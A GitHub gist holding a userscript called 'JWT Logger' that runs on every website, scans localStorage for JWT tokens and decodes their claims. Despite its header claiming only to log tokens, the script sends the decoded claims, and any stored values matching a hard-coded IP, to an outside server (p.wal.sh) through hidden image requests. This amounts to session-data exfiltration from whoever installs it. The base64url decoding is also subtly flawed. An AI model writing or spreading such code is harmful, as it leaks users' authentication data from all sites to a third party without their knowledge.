Skip to content

Instantly share code, notes, and snippets.

@jwalsh
Created November 10, 2017 18:41
Show Gist options
  • Select an option

  • Save jwalsh/c068ddc1a9215a112731e1fc6d716ead to your computer and use it in GitHub Desktop.

Select an option

Save jwalsh/c068ddc1a9215a112731e1fc6d716ead to your computer and use it in GitHub Desktop.
// ==UserScript==
// @name JWT Logger
// @namespace http://wal.sh/jwt
// @version 1.0.1
// @description Log JWT tokens and claims.
// @author Jason Walsh <[email protected]>
// @match *
// @grant none
// ==/UserScript==
(function () {
var JWT_REGEX = /^[a-zA-Z0-9\-_]+?\.[a-zA-Z0-9\-_]+?\.([a-zA-Z0-9\-_]+)?$/;
var TRACKER_REGEX = /38.142.82.50/;
var createImage = function createImage(src) {
var img = document.createElement('img');
img.src = src;
document.body.appendChild(img);
};
var createOverlay = function createOverlay(text) {
var overlay = document.createElement('pre');
overlay.style.width = '400px';
overlay.style.width = '400px';
overlay.style.position = 'absolute';
overlay.style.bottom = 0;
overlay.style.right = 0;
overlay.style.padding = '20px';
overlay.style.zIndex = 99;
overlay.style.backgroundColor = '#69c';
overlay.style.border = '1px solid #cc9';
overlay.innerHTML = text;
document.body.appendChild(overlay);
};
var parseJwt = function parseJwt(token) {
var base64Url = token.split('.')[1];
var base64 = base64Url.replace('-', '+').replace('_', '/');
return JSON.parse(window.atob(base64));
};
Object.keys(localStorage).forEach(function (e) {
var v = localStorage.getItem(e);
if (TRACKER_REGEX.test(v)) {
console.log('tracker', e, v);
createImage('http://p.wal.sh/i.php?' + v);
}
if (JWT_REGEX.test(v)) {
var token = parseJwt(v);
console.log(e, token);
createImage('http://p.wal.sh/i.php?' + JSON.stringify(token));
let timeout = Math.floor((token.exp - new Date() / 1000) / 60);
let html = JSON.stringify(token, null, ' ') + '; timeout: ' + timeout + ' minutes';
createOverlay(html);
}
});
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment